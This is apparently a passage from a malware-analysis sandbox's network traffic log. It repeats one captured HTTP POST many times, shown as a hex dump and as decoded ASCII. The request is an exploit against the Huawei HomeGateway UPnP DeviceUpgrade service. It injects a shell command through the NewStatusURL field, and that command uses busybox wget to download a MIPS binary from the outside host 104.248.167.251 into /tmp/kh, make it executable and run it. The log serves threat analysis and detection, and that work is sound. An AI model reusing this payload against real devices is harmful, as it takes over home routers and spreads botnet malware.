62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 36 37 2e 32 35 31 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.248.167.251 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
